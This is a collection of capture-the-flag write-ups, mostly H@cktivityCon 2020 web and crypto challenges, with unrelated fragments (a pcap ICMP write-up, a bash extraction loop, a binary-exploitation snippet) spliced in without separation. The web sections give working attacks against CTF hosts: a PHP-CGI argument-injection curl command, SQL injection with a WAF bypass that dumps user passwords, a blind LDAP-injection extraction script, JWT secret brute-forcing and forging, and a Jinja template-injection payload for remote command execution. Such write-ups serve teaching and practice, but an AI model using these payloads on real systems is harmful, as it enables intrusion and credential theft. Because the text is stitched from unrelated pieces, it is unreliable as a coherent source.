the HTTP request, in the PHP code we'll use `cat /flag.txt` to output the content of the file, the command is: `curl -i --data-binary "" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"` and by executing this command we get the flag: ![](assets//images//gi_joe_3.png) **Resources:*** Common Gateway Interface: https://en.wikipedia.org/wiki/Common_Gateway_Interface* CVE-2012-1823: https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823* CVE-2012-2311: https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311* a detailed explanation on CVE-2012-1823: https://pentesterlab.com/exercises/cve-2012-1823/course* man page for php-cgi: https://www.systutorials.com/docs/linux/man/1-php-cgi/ ## Waffle LandWe got hacked, but our waffles are now safe after we mitigated the vulnerability. Connect here:\http://jh2i.com:50024 **`flag{check_your_WAF_rules}`** **Solution:** With the challenge we get a url to a website about waffles: ![](assets//images//waffle_land_1.png) There seems to be only two functionalities to this webpage, searching using the search bar or signing in using a username and a password, as we don't have any credentials let's try to fiddle with the search option. The search option returns only the waffles that has the search parameter in them, trying to insert the character `'` gives us an error message: ![](assets//images//waffle_land_2.png) This gives us information about two things, first we know now that the search option uses SQL to filter data, SQL is a language designed for managing and querying databases (with SQL it is common to think of databases as tables with rows of data and columns of attributes), in this case a SQL query is used to select all the products with the having a value in the name attribute similar to the input given, second we know that the web server uses SQLite3 management system, this has some influence on the version of SQL used and on the operations we can use or exploit. A common attack against SQL systems is using SQL injection or SQLi, computers can't differentiate between data and commands and as such it's sometime possible to inject commands where data is requested, for example we can search for `' limit 1 ---` and this will cause the SQL management system if it's vulnerable to SQLi to execute the following query: `select * from product where name like '' limit 1` this query returns the first row of data in the product table, this will be executed because we closed the quotations and added `-- -` at the end which signifies that the rest of the string is a comment.To prevent this attack there are systems in place to filter (sanitize) the input given, one of those is a Web Application Firewall or WAF, this type of systems monitor the HTTP traffic of a web server and prevent attacks such as SQLi by blocking suspicious traffic. Let's first check if we have SQLi to begin with, using the search parameter in the example above gives us the following: ![](assets//images//waffle_land_3.png) Seems like we can use SQLi, now let's try to view the users table in order to sign in to the site, for that we need to add data from the users table to the output of the query, we can use union for that but it will only work if the number of attributes in the the product table and the number of attributes of the data added is the same, let's start with finding the number of attributes in the product table using `' order by n -- -`, adding this to the query will sort the data according to the n'th attribute, and if n is bigger than the number of attributes in this table the query will cause an error, doing so we can discover that the number of attributes in the product table (the table of waffles) is 5. With the number of attributes in mind we can try adding data, first we'll try using `' union select 1,2,3,4,5 -- -` this will add the row `1,2,3,4,5` to the output of the query, by doing so we get the following: ![](assets//images//waffle_land_4.png) It appears that the web server is blocking this search, so we might be working against a WAF after all (fitting the theme of this challenge), trying to work around the WAF I discovered that the WAF is only filtering searches with the string ` union select` so a simple workaround I discovered is using `/**/union/**/select` instead, the symbol `/*` signifies the start of a comment and the symbol `*/` the end of a comment so using `/**/` doesn't change the query's meaning but could possibly help us pass through the WAF, using `'/**/union/**/select 1,2,3,4,5 -- -` gives us the following: ![](assets//images//waffle_land_5.png) So now we have a way to add data to the output, we still need to get data about the users so we need to know the name of table which stores users data and the attributes of the table, checking if we can select data from a table named `users` by using `'/**/union/**/select 1,2,3,4,5 from users -- -` gives us an error but by checking for `user` seems to work so we can guess there is a table named `user` in the database, we need to get usernames and passwords from this table, I discovered through trial and error that there attributes named `password` and `username` so we can search for the following to get the data we need from this table: `' and 0=1/**/union/**/select/**/1,username,password,4,5 from user ---` the query executed will be: `select * from product where name like '' and 0=1/**/union/**/select/**/1,username,password,4,5 from user` this will first select the data from the product table and filter only the data that satisfy the condition 0=1, so the query will filter all the data from the product table, then it adds the data in the username and the password columns of the table user and uses number 1,4 and 5 to pad the data so we can use union, from the search we get the password and the username for admin: ![](assets//images//waffle_land_6.png) We can now login as admin and receive the flag: ![](assets//images//waffle_land_7.png) **Resources:*** SQL: https://en.wikipedia.org/wiki/SQL* SQLite: https://en.wikipedia.org/wiki/SQLite* SQL injection (SQLi): https://en.wikipedia.org/wiki/SQL_injection* Web Application Firewall (WAF): https://en.wikipedia.org/wiki/Web_application_firewall* SQLi cheatsheet: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection ## Lightweight Contact BookLookup the contact details of any of our employees! Connect here:\http://jh2i.com:50019 **`flag{kids_please_sanitize_your_inputs}`** **Solution:** We again receive a url to a website with the challenge which seems...empty ![](assets//images//lightweight_1.png) We have two options (again), to search and to login using a username and a password, but this time we also have the option to recover a user's password: ![](assets//images//lightweight_2.png) We can try some common usernames, all of them seems to give us the message "Sorry, this functionality is currently unavailable" except for the username `administrator` which gives us the following: ![](assets//images//lightweight_3.png) Okay so we have a username that is administrator...what's next? after a bit of fuzzing the search bar I got an error message: ![](assets//images//lightweight_4.png) by googling the error message I discovered that this website using a protocol called LDAP for the search, LDAP or Lightweight Directory Access Protocol is a protocol for accessing directory service over the internet (directory service is a shared information infrastructure, can be thought of as a database for this challenge), in this protocol the symbol `*` stands for a wildcard and filtering is done using `(<attribute>=<value>)` and filters can be appended together. By searching for `*` we can view the display name and the email of employees, one that stand out is the employee with the display name `Administrator User`, by trying to search for `Admin*` we can see that only the row with this employee is left, so we can assume that the statement used by the search option is `(name=<search input>)` and that we need to discover the description for the employee with the name `Administrator User`. A common attack against LDAP is using LDAP injection which is very similar to SQL injection, a simple example for LDAP injection is to search for `*)(mail=administrator@hacktivitycon*` the statement that will be executed by our assumption is: `(name=*)([email protected])` and only the employee(s) with this email will be displayed, trying that gives us: ![](assets//images//lightweight_5.png) and it seems that we can use LDAP injection, so we want to get the password stores in the description of the administrator but we cannot display it so we can do something similar to blind SQL injection, by search for `Admin*)(description=<string>*` and changing the value of string character by character, we have two options:* The value is the start of password and the information about the Administrator will be displayed as it matches both of the filters.* The value is not the start of the password and information about the Administrator will not be displayed because it doesn't match the second filter. we can start with an empty string an go through all the characters trying to append the character to the string until information about the Admin is displayed, at this point we know that the string is the start of the password and we can try to add another character to the string by again going through all the characters and so on until we can no longer add characters, so I wrote a python script to do that: ```python import urllib.parse, urllib.requestfrom string import printable password = ''while 1: for c in printable: query = 'Admin*)(description={}*'.format(password + c) url = 'http://jh2i.com:50019/?search=' + urllib.parse.quote(query) response = urllib.request.urlopen(url).read() if b'Admin' in response: password += c print(password) break ``` by running the script we get the password: ![](assets//images//lightweight_6.png) and we can connect with the username `administrator` and the password `very_secure_hacktivity_pass` to receive the flag: ![](assets//images//lightweight_7.png) **Resources:*** Lightweight Directory Access Protocol (LDAP): https://en.wikipedia.org/wiki/Lightweight_Directory_Access_Protocol* LDAP injection: https://www.synopsys.com/glossary/what-is-ldap-injection.html* LDAP injection cheatsheet: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection ## Template ShackCheck out the coolest web templates online! Connect here:\http://jh2i.com:50023 **Post-CTF Writeup**\**`flag{easy_jinja_SSTI_RCE}`** **Solution:** With the challenge we get a url for a webpage about web templates: ![](assets//images//template_shack_1.png) By the name of the challenge we can guess we need to use Server-Side Template Injection or SSTI.\This vulnerability is caused due to the nature of template engine, template engines are programs designed to embed dynamic data into static template files, a good example for this kind of templates are actually the one shown in this site, but using templates could allow attackers to inject template code to the website, because the template engine can't distinguish between the intended code and data unsafe embedding of user input without sanitization could result with user input interpreted as code and parsed by the engine, allowing attackers to reveal private information and even run arbitrary code on the server. But, this page doesn't seems to be vulnerable to SSTI, we could guess by the design and HTTP response's headers that this site is running jinja as the template engine with flask as the framework.\After the CTF ended I discovered that there is an SSTI vulnerability...in the admin page, so we need to sign in as admin first, looking around the website some more we can see that the site uses cookies to save user state, as I explained in a previous writeup: >...because HTTP connection is stateless (doesn't save the state of the connection server-side) and because sometimes the server needs to know who is the user in a session it saves cookies on the computer of the user, cookies are data which is most of the time encrypted and sent with HTTP requests to helps the server recognize the user in our case the cookie is actually a JSON Web Token or JWT, JWT is an internet standard for creating signed information and is used mostly for authentication, a token composes of three parts separated by a dot:* An Header, this header identifies the algorithm used to generate the signature (the third part of the token), this part is base64 encoded* A Payload, contains the set of claims, or in other words the actual signed data, this part is also base64 encoded* A signature, this part is used to validate the authenticity of the token, the signature is created by appending the previous two parts to a secret and then using the signing scheme or the message authentication code system listed in the header to encrypt the data. Let's look at our token using a tool called jwt_tool (listed in the resources): ![](assets//images//template_shack_2.png) We have only one claim in the token's payload and it's for the username, so we need to change the value of the claim to admin, there are multiple ways to modify a JWT but bruteforcing the secret key using a dictionary worked for me, we could do that using the same tool and a public dictionary for passwords called rockyou.txt with the following command: `python3 jwt_tool.py -C eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0In0.9SvIFMTsXt2gYNRF9I0ZhRhLQViY-MN7VaUutz9NA9Y -d rockyou.txt` By doing so we get the secret key `supersecret`, and using the same tool and the secret key we can modify the token so that the username is admin, the modified token is: `eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.Ykqid4LTnSPZtoFb11H+/2q+Vo32g4mLpkEcajK0H7I` and by changing the cookie stored for the website to this token we get signed in as admin: ![](assets//images//template_shack_3.png) Checking out the admin page we see that it uses the first template shown on the index page: ![](assets//images//template_shack_4.png) so we now might be able to use SSTI, there are only two pages available two us, the charts page and the tables page in the side toolbar, both show a 404 error: ![](assets//images//template_shack_5.png) After a bit of fuzzing I discovered that we can add template code to the 404 error page by changing the URL of the page to `http://jh2i.com:50023/admin/`, for example by navigating to `http://jh2i.com:50023/admin/{{7*7}}` we get: ![](assets//images//template_shack_6.png) so now that we can use SSTI we can get RCE using the following payload: `{{config.__class__.__init__.__globals__['os'].popen('<command>').read()}}` I will not go to details about why it works because this writeup is long as it is but basically the part `config.__class__.__init__.__globals__` returns a list global variables of the class which config is an instance of, one of those is the module os, using the module os we can create a new process with popen which will execute a command and using read() will return the output of the command, first let's see what we have in our working directory: ![](assets//images//template_shack_7.png) it worked! and there is a file called flag.txt in this directory reading it using `cat flag.txt` gives us the flag: ![](assets//images//template_shack_8.png) **Resources:*** Server Side Template Injection (SSTI): https://portswigger.net/research/server-side-template-injection* Template engine: https://en.wikipedia.org/wiki/Template_processor* SSTI cheatsheet: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection* JSON Web Tokens: https://en.wikipedia.org/wiki/JSON_Web_Token* JSON Web Tokens cheatsheet: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/JSON%20Web%20Token* jwt_tool: https://github.com/ticarpi/jwt_tool
1. `,`: read a character and write it at *sa2. `.`: write *sa at *str, then increment *str3. `[`: if *sa is zero, jump to the next ]4. `]`: if *sa is not zero, jump to the previous [str is at 0x404078, while STR is at 0x404ca0. We can make use of the 4 operators discussed to write the payload `,[,.]` This reads in a character to *sa, then while *sa is not zero, keep reading in characters and writing it to str. Eventually, we can write HELLO\n at STR, then terminate the write by sending in a null byte.
# Google Cloud ### Challenge Text > Author: Vlad Roskov ([@mrvos](https://t.me/mrvos)) > I am storing some important stuff in Google's cloud.> Nooo no no, not on Google's disks — in the cloud itself.> [**gcloud.tar.gz**](https://cybrics.net/files/gcloud.tar.gz) ### Challenege Work When you first open the pcap file you notice that it is entirely ICMP messages. Looking at the data presented in Wireshark we could see some strings being echoed that talked about `pingfs`. So I looked into it: https://github.com/yarrick/pingfs. Because ICMP requires that the data sent to the server be echoed back to the sender you can technically store data over ICMP. I used Wireshark to export the entire pcap as a JSON file and set about extracting any binary data that may have been sent over: ```pythonimport jsonimport binascii json_file = json.loads(open("./packets.json", "r").read()) def clean_data(data): return data.replace(":","").upper() text_list = []data_list = [] for a in json_file: icmp_info = a["_source"]["layers"]["icmp"] raw_data_payload = clean_data(icmp_info["data"]["data.data"]) payload_bytes = bytearray.fromhex(raw_data_payload) try: text_list.append(payload_bytes.decode()) except: data_list.append(binascii.hexlify(payload_bytes)) print(f"data_list set is {len(set(data_list))} long") for i in data_list: with open("out.bin", "ab") as f: f.write(i)``` ```shellgoogle % cat out.bin| xxd -p -r > file.bingoogle % binwalk file.bin DECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------10315 0x284B JPEG image data, EXIF standard10327 0x2857 TIFF image data, little-endian offset of first image directory: 820344 0x4F78 JPEG image data, EXIF standard20356 0x4F84 TIFF image data, little-endian offset of first image directory: 826794 0x68AA JPEG image data, EXIF standard26806 0x68B6 TIFF image data, little-endian offset of first image directory: 8 [...]``` We can see a ton of JPEG images ([or at least headers](https://github.com/corkami/pics/blob/master/binary/JPG.png)). If you scroll down in your hex editor you will see that the JPEGs are getting longer. Scrolling to the bottom and copying from the last JPEG header down give us our file. ![flag](https://raw.githubusercontent.com/turnipsoup/ctfwriteups/master/cybric2020/google-cloud/flag.jpg)
in bash, in an empty directory, place the file and exec this (stop process when there are no more files to extract) while true; do find . -type f | while read f; do mv "$f" "1";7z -y e "1"; done; done flag{the_answer_is_1548_licks}
# **H@cktivityCon CTF 2020** <div align='center'> </div> This is my writeup for the challenges in H@cktivityCon CTF 2020, for more writeups of this CTF you can check out [this list](https://github.com/oxy-gendotmobi/ctf.hacktivitycon.2020.writeup.reference) or [CTFtime](https://ctftime.org/event/1101/tasks/) *** # Table of Content* [Cryptography](#cryptography) - [Tyrannosaurus Rex](#tyrannosaurus-rex) - [Perfect XOR](#perfect-xor) - [Bon Appetit](#bon-appetit) - [A E S T H E T I C](#a-e-s-t-h-e-t-i-c) - [OFBuscated](#ofbuscated)* [Binary Exploitation](#binary-exploitation) - [Pancakes](#pancakes)* [Web](#web) - [Ladybug](#ladybug) - [Bite](#bite) - [GI Joe](#gi-joe) - [Waffle Land](#waffle-land) - [Lightweight Contact Book](#lightweight-contact-book) - [Template Shack](#template-shack) *** # Cryptography ## Tyrannosaurus RexWe found this fossil. Can you reverse time and bring this back to life? Download the file below.\[fossil](assets//scripts//fossil) **`flag{tyrannosauras_xor_in_reverse}`** **Solution:** With the challenge we get a file named fossil, running the `file` command reveals that this is actually a python script: ```python#!/usr/bin/env python import base64import binascii h = binascii.hexlifyb = base64.b64encode c = b'37151032694744553d12220a0f584315517477520e2b3c226b5b1e150f5549120e5540230202360f0d20220a376c0067' def enc(f): e = b(f) z = [] i = 0 while i < len(e): z += [ e[i] ^ e[((i + 1) % len(e))]] i = i + 1 c = h(bytearray(z)) return c``` This script contains a function called enc which is seemingly an encryption scheme and a variable c which we can guess is the product of running the function enc on the flag, so we may need to implement a decryption scheme matching the given encryption scheme, for my sanity let's first deobfuscate the code a bit: ```python#!/usr/bin/env python import base64import binascii cipher = b'37151032694744553d12220a0f584315517477520e2b3c226b5b1e150f5549120e5540230202360f0d20220a376c0067' def encyption(flag): encoded = base64.b64encode(flag) z = [] for i in range(len(encoded)) z += [ encoded[i] ^ encoded[((i + 1) % len(encoded))]] c = binascii.hexlify(bytearray(z)) return c```Much better, now that we can actually read the code let's see what it does, the function enc first encodes the string to base64, then iterates over each character and xors each one with the one after it (the last character is xorred with the first), the bytes received by xorring are placed in an array and the array is encoded to hex. We can break it down to 3 parts: base64 encoding, cyclic xorring and hex encoding, the first and the last are easy to reverse as the packages used for this parts contain the reverse functions, but the second part is trickier. We can notice something interesting with the encryption in the second part, if we think of the first character as the initialization vector, then the encryption is similar to encryption with Cipher Block Chaining (CBC) mode of operation with no block cipher (the block cipher is an identity function) and a block size of one, Cipher Block Chaining or CBC is a block cipher mode of operation, modes of operation split the plaintext into blocks of a size manageable by a cipher (for example AES works with blocks of sizes 128, 192 and 256 bits) and append the resulting ciphertext blocks together, a schema of the operation of CBC: <div align=center> </div> So in our case because there is no block cipher so no key the only value needed for decryption is the initialization vector or in other words the only thing that we miss on order to encrypt the whole ciphertext is the first letter....so we can just bruteforce it! For those who didn't understand my argument, let's say we know the first character, we can xor it with the first character of the ciphertext to get the second character in the plaintext (by the properties of xor for values a,b we get a ^ b ^ b = a and the first character in the cipher text is the first character in the plaintext xorred with the second character in the plaintext), by using the second character we can get the third character doing the same operations and so on until we have decrypted all the ciphertext. For doing so I wrote the following script which goes through all the characters in base64 and for each one tries to decrypt the message as if it's the first character in the plaintext: ```python#!/usr/bin/env python import base64import binasciiimport string def dec(f): # part 3 - hex z = binascii.unhexlify(f) # part 2 - cyclic xorring (CBC) for c in string.ascii_lowercase + string.ascii_uppercase + string.digits + '/+=': e = bytearray([ord(c)]) for i in range(len(z) - 1): e += bytearray([z[i] ^ e[i]]) # part 3 - base64 try: p = base64.b64decode(e) # checks if the flag is in the plaintext if b'flag' in p: print(c, p.decode('utf-8')) except: continue``` and by running this script we get the flag: ![](assets//images//fossil_2.png) **Resources:*** Block Cipher: https://en.wikipedia.org/wiki/Block_cipher* Block Cipher modes of operation and CBC: https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation ## Perfect XORCan you decrypt the flag? Download the file below.\[decrypt.py](assets//scripts//decrypt.py) **`flag{tHE_br0kEN_Xor}`** **Solution:** with the challenge we get a python script: ```pythonimport base64n = 1i = 0cipher_b64 = b"MTE0LDg0LDQzNyw4MDk1LDMzNTUwNDM0LDg1ODk4NjkxNzAsMTM3NDM4NjkxMzc2LDIzMDU4NDMwMDgxMzk5NTIyMzUsMjY1ODQ1NTk5MTU2OTgzMTc0NDY1NDY5MjYxNTk1Mzg0MjI0NSwxOTE1NjE5NDI2MDgyMzYxMDcyOTQ3OTMzNzgwODQzMDM2MzgxMzA5OTczMjE1NDgxNjkyOTQsMTMxNjQwMzY0NTg1Njk2NDgzMzcyMzk3NTM0NjA0NTg3MjI5MTAyMjM0NzIzMTgzODY5NDMxMTc3ODM3MjgyMjMsMTQ0NzQwMTExNTQ2NjQ1MjQ0Mjc5NDYzNzMxMjYwODU5ODg0ODE1NzM2Nzc0OTE0NzQ4MzU4ODkwNjYzNTQzNDkxMzExOTkxNTIyMTYsMjM1NjI3MjM0NTcyNjczNDcwNjU3ODk1NDg5OTY3MDk5MDQ5ODg0Nzc1NDc4NTgzOTI2MDA3MTAxNDMwMjc1OTc1MDYzMzcyODMxNzg2MjIyMzk3MzAzNjU1Mzk2MDI2MDA1NjEzNjAyNTU1NjY0NjI1MDMyNzAxNzUwNTI4OTI1NzgwNDMyMTU1NDMzODI0OTg0Mjg3NzcxNTI0MjcwMTAzOTQ0OTY5MTg2NjQwMjg2NDQ1MzQxMjgwMzM4MzE0Mzk3OTAyMzY4Mzg2MjQwMzMxNzE0MzU5MjIzNTY2NDMyMTk3MDMxMDE3MjA3MTMxNjM1Mjc0ODcyOTg3NDc0MDA2NDc4MDE5Mzk1ODcxNjU5MzY0MDEwODc0MTkzNzU2NDkwNTc5MTg1NDk0OTIxNjA1NTU2NDcwODcsMTQxMDUzNzgzNzA2NzEyMDY5MDYzMjA3OTU4MDg2MDYzMTg5ODgxNDg2NzQzNTE0NzE1NjY3ODM4ODM4Njc1OTk5OTU0ODY3NzQyNjUyMzgwMTE0MTA0MTkzMzI5MDM3NjkwMjUxNTYxOTUwNTY4NzA5ODI5MzI3MTY0MDg3NzI0MzY2MzcwMDg3MTE2NzMxMjY4MTU5MzEzNjUyNDg3NDUwNjUyNDM5ODA1ODc3Mjk2MjA3Mjk3NDQ2NzIzMjk1MTY2NjU4MjI4ODQ2OTI2ODA3Nzg2NjUyODcwMTg4OTIwODY3ODc5NDUxNDc4MzY0NTY5MzEzOTIyMDYwMzcwNjk1MDY0NzM2MDczNTcyMzc4Njk1MTc2NDczMDU1MjY2ODI2MjUzMjg0ODg2MzgzNzE1MDcyOTc0MzI0NDYzODM1MzAwMDUzMTM4NDI5NDYwMjk2NTc1MTQzMzY4MDY1NTcwNzU5NTM3MzI4MjQy" def a(n): b = 0 for i in range(1, n): if(n % i == 0): b += i return b == n print("flag{", end='', flush=True)cipher = base64.b64decode(cipher_b64).decode().split(",")while(i < len(cipher)): if (a(n)): print(chr(int(cipher[i]) ^ n), end='', flush=True) i += 1 n+=1 print("}")``` by the name of the file we can infer that the code purpose is to decrypt the ciphertext stored in cipher_b64 and hopefully print the flag, but it seems a little bit slow... ![](assets//images//perfect_1.gif) at this point it's somewhat stop printing characters but still runs.\This challenge is quite similar to a challenge in nahamCon CTF called Homecooked (make sense as it's the same organizers), in it there was an inefficient primality check that made the code unreasonably slow, so we might be up against something like that, let's look at the code, it first prints the start of the flag format, then it decodes the ciphertext and splits in into an array of strings, then for each string it tries to find a value of n bigger than the one used previously that makes a return the Boolean value True (for the first string it just finds the first one bigger than zero that satisfy a) if the code discovered a matching n it then xors n with the string and prints the result, this part is coded somewhat efficient so let's move on to function a, for argument n the function goes through all the numbers smaller than n and checks for each one if it divides n, if so it adds it to a running total, in the end the function check if the sum is equal to n and return True if so otherwise it returns False. Basically a checks if the sum of the divisors of n is equal to n, numbers that satisfy this are often called perfect numbers and there are more efficient ways to find them, we have discovered that all even perfect numbers are of the form p * ( p + 1 ) / 2 where p is a Mersenne prime, which are primes of the form 2 ** q - 1 for some integer q, furthermore we still haven't discovered any odd perfect number so all the perfect numbers known to us (and important for this challenge) are even perfect number, so I took a list of q's off the internet (the integers that make up Mersenne primes) and modified the code a bit so that instead of trying to find a perfect number it just uses the next q on the list to create one (I also tried to find a formatted list of perfect numbers or of Mersenne primes themselves but didn't find any): ```pythonimport base64from functools import reduce mersenne = [2, 3, 5, 7, 13, 17, 19, 31, 61, 89, 107, 127, 521, 607, 1279, 2203, 2281, 3217, 4253, 4423, 9689, 9941, 11213, 19937, 21701, 23209, 44497, 86243, 110503, 132049, 216091, 756839, 859433, 1257787, 1398269, 2976221, 3021377, 6972593, 13466917, 20996011, 24036583, 25964951, 30402457] i = 0cipher_b64 = b"MTE0LDg0LDQzNyw4MDk1LDMzNTUwNDM0LDg1ODk4NjkxNzAsMTM3NDM4NjkxMzc2LDIzMDU4NDMwMDgxMzk5NTIyMzUsMjY1ODQ1NTk5MTU2OTgzMTc0NDY1NDY5MjYxNTk1Mzg0MjI0NSwxOTE1NjE5NDI2MDgyMzYxMDcyOTQ3OTMzNzgwODQzMDM2MzgxMzA5OTczMjE1NDgxNjkyOTQsMTMxNjQwMzY0NTg1Njk2NDgzMzcyMzk3NTM0NjA0NTg3MjI5MTAyMjM0NzIzMTgzODY5NDMxMTc3ODM3MjgyMjMsMTQ0NzQwMTExNTQ2NjQ1MjQ0Mjc5NDYzNzMxMjYwODU5ODg0ODE1NzM2Nzc0OTE0NzQ4MzU4ODkwNjYzNTQzNDkxMzExOTkxNTIyMTYsMjM1NjI3MjM0NTcyNjczNDcwNjU3ODk1NDg5OTY3MDk5MDQ5ODg0Nzc1NDc4NTgzOTI2MDA3MTAxNDMwMjc1OTc1MDYzMzcyODMxNzg2MjIyMzk3MzAzNjU1Mzk2MDI2MDA1NjEzNjAyNTU1NjY0NjI1MDMyNzAxNzUwNTI4OTI1NzgwNDMyMTU1NDMzODI0OTg0Mjg3NzcxNTI0MjcwMTAzOTQ0OTY5MTg2NjQwMjg2NDQ1MzQxMjgwMzM4MzE0Mzk3OTAyMzY4Mzg2MjQwMzMxNzE0MzU5MjIzNTY2NDMyMTk3MDMxMDE3MjA3MTMxNjM1Mjc0ODcyOTg3NDc0MDA2NDc4MDE5Mzk1ODcxNjU5MzY0MDEwODc0MTkzNzU2NDkwNTc5MTg1NDk0OTIxNjA1NTU2NDcwODcsMTQxMDUzNzgzNzA2NzEyMDY5MDYzMjA3OTU4MDg2MDYzMTg5ODgxNDg2NzQzNTE0NzE1NjY3ODM4ODM4Njc1OTk5OTU0ODY3NzQyNjUyMzgwMTE0MTA0MTkzMzI5MDM3NjkwMjUxNTYxOTUwNTY4NzA5ODI5MzI3MTY0MDg3NzI0MzY2MzcwMDg3MTE2NzMxMjY4MTU5MzEzNjUyNDg3NDUwNjUyNDM5ODA1ODc3Mjk2MjA3Mjk3NDQ2NzIzMjk1MTY2NjU4MjI4ODQ2OTI2ODA3Nzg2NjUyODcwMTg4OTIwODY3ODc5NDUxNDc4MzY0NTY5MzEzOTIyMDYwMzcwNjk1MDY0NzM2MDczNTcyMzc4Njk1MTc2NDczMDU1MjY2ODI2MjUzMjg0ODg2MzgzNzE1MDcyOTc0MzI0NDYzODM1MzAwMDUzMTM4NDI5NDYwMjk2NTc1MTQzMzY4MDY1NTcwNzU5NTM3MzI4MjQy" print("flag{", end='', flush=True)cipher = base64.b64decode(cipher_b64).decode().split(",")while(i < len(cipher)): p = 2 ** (mersenne[i] - 1) * (2 ** mersenne[i] - 1) print(chr(int(cipher[i]) ^ p),end='', flush=True) i += 1 print("}")``` And by running this more efficient code we get the flag in no time: ![](assets//images//perfect_2.gif) **Resources:*** Perfect Number: https://en.wikipedia.org/wiki/Perfect_number* Mersenne Prime: https://en.wikipedia.org/wiki/Mersenne_prime* The list I used: https://www.math.utah.edu/~pa/math/mersenne.html#:~:text=p%20%3D%202%2C%203%2C%205,%2C%2024036583%2C%2025964951%2C%2030402457 ## Bon AppetitWow, look at the size of that! There is just so much to eat! Download the file below.\[prompt.txt](assets//files//prompt.txt) **Post-CTF Writeup**\**`flag{bon_appetit_that_was_one_big_meal}`** **Solution:** With the challenge we get a text file with the following content: ```n = 86431753033855985150102208955150746586984567379198773779001331665367046453352820308880271669822455250275431988006538670370772552305524017849991185913742092236107854495476674896994207609393292792117921602704960758666683584350417558805524933062668049116636465650763347823718120563639928978056322149710777096619 e = 43593315545590924566741189956390609253174017258933397294791907025439424425774036889638411588405163282027748339397612059157433970580764560513322386317250465583343254411506953895016705520492303066099891805233630388103484393657354623514864187319578938539051552967682959449373268200012558801313113531016410903723 c = 6017385445033775122298094219645257172271491520435372858165807340335108272067850311951631832540055908237902072239439990174700038153658826905580623598761388867106266417340542206012950531616502674237610428277052393911078615817819668756516229271606749753721145798023983027473008670407713937202613809743778378902``` This is obviously an RSA encryption with n being the modulus, e being the public exponent and c being a ciphertext, as I explained in previous challenges: > ... RSA is a public key cipher, which means that there are two keys, one that is public which is used to encrypt data, and one that is private which is used to decrypt data, obviously there is some sort of connection between the keys but it is hard to reveal the private key from the public keys (and in this case vice versa), specifically in RSA in order to find the private key we need to solve the integer factorization problem, which is thought to be in NP/P (this is not important for the challenge), we will call our public key e and our private key d, they posses the following attribute - d multiply by e modulo the value of (p-1) * (q-1) which we will name from now phi, is equal to 1, we will call d the modular multiplicative inverse of e and e the modular multiplicative inverse of d, furthermore if we take a plaintext message pt and raise it to the power of d and then to the power of e modulo the value of p * q, which we will name n and will be commonly given to us instead of q and p, we will get pt again (to understand why it is needed to delve into modern algebra, if n is smaller than pt then obviously we will not get pt), now with that in mind we can talk about the cipher, encryption in this cipher is raising the plaintext pt to the power of the public key e mod the value of n, similarly, decryption is raising the ciphertext to the power of d mod n... The common methods for breaking RSA is using a factor database that stores factors or using somewhat efficient algorithms and heuristics in order to factor the modulus n if n is relatively small or easy to factor, both won't work with an n as big as that, so we need to use a less common attack. Notice the public exponent e, it's very big, almost as big as the modulus itself, we often use very small exponent such as 3 and 65537 (there's even a variant of RSA which uses 2 as the public exponent) so a usage of large public exponent is most likely an indication that the private exponent d is small. For small private exponents there are 2 main attacks - Weiner's Attack and Boneh & Durfee's attack, the first attack is simpler and uses continued fraction to efficiently find d if d is smaller than modulus n to the power of 0.25, the later attack is much more complex relying on solving the small inverse problem efficiently to find d if d is smaller the modulus n to the power of 0.285 (or 0.292...the conclusions are inconclusive), after trying to use Weiner's attack and failing I succeeded in using Boneh & Durfee's attack. Unfortunately I can't explain in details how this attack works because it requires a lot of preliminary knowledge but I'll add both the papers of Weiner and Boneh & Durfee about the attacks in the resources for those interested (I'll maybe add an explanation later on the small inverse problem and how it's connected), for this attack I used a sage script I found online, updated it to python 3 and changed the size of the lattice to 6 and the value of delta (the power of n) to 0.26 to guarantee that the key is found, the modified code is [linked here](assets//scripts//buneh_durfee.sage) if you want to try it yourself (link for an online sage interpreter is in the resources), by running this code we find the private key and using it to decrypt the ciphertext we get the flag: ![](assets//images//bon_appetit_1.png) **Resources:*** Weiner's attack: http://monge.univ-mlv.fr/~jyt/Crypto/4/10.1.1.92.5261.pdf* Boneh & Durfee's attack: https://link.springer.com/content/pdf/10.1007%2F3-540-48910-X_1.pdf* Script used: https://www.cryptologie.net/article/241/implementation-of-boneh-and-durfee-attack-on-rsas-low-private-exponents/* Web Sage interpreter: https://sagecell.sagemath.org/ ## A E S T H E T I CI can't stop hearing MACINTOSH PLUS... Connect here:\`nc jh2i.com 50009` **Post-CTF Writeup**\**`flag{aes_that_ick_ecb_mode_lolz}`** **Solution:** we are given a port on a server to connect to, when we connect we are prompted to give input: ![](assets//images//aesthetic_1.png) btw if you don't see the image in the ASCII art maybe this will help: ![](assets//images//aesthetic_2.png) By giving input to the server we get an hex string in return with the message that the flag is sprinkled at the end: ![](assets//images//aesthetic_3.png) After a bit of fuzzing I discovered that for an empty input we receive an hex string with 64 characters, for input of length between the range of 1 to 32 we receive an hex string with length of 128 characters and for input with length bigger than 32 we get an hex string of length bigger than 128: ![](assets//images//aesthetic_4.png) furthermore by giving input with a length of 32 the second half of the hex string received is exactly the same as the hex string received when giving an empty input, this coupled with the reference to the block cipher AES in the challenge title led me to the conclusion that the server is using AES-ECB (AES with Electronic Codebook mode of operation) to encrypt our message appended to the flag and likely padded, as I explained in my writeup for Tyrannosaurus Rex modes of operation are used to allow block ciphers, which are limited by design to only specific lengths of plaintext, to encrypt information of any length, this is done by splitting the data into blocks, encrypting each block separately and then appending the resulting ciphertexts blocks together, ECB mode of operation encrypt every block in isolation where other modes of operation perform encryptions between blocks so that blocks with the same plaintext won't have the same ciphertext, but ECB don't do that meaning that **ECB encrypts the same plaintexts to the same ciphertexts**, a schema of this mode: <div align=center> </div> So now that we know how the hex value is created we can use a nice attack that John Hammond showed in a [recent 